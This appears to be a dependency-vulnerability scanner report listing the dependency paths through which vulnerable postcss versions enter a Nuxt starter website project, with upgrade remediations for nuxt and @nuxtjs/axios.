  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-family-system-ui@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-font-variant@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-image-set-polyfill@0.3.5 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-initial@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-media-minmax@3.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-nesting@4.2.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudo-class-any-link@4.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-pseudoelements@5.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-replace-overflow-wrap@2.0.0 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-selector-not@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-custom-selectors@4.0.1 › postcss-selector-matches@3.0.1 › postcss@6.0.23
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-calc@6.0.2 › postcss@7.0.39
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-calc@6.0.2 › postcss@7.0.39

…and 162 more

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

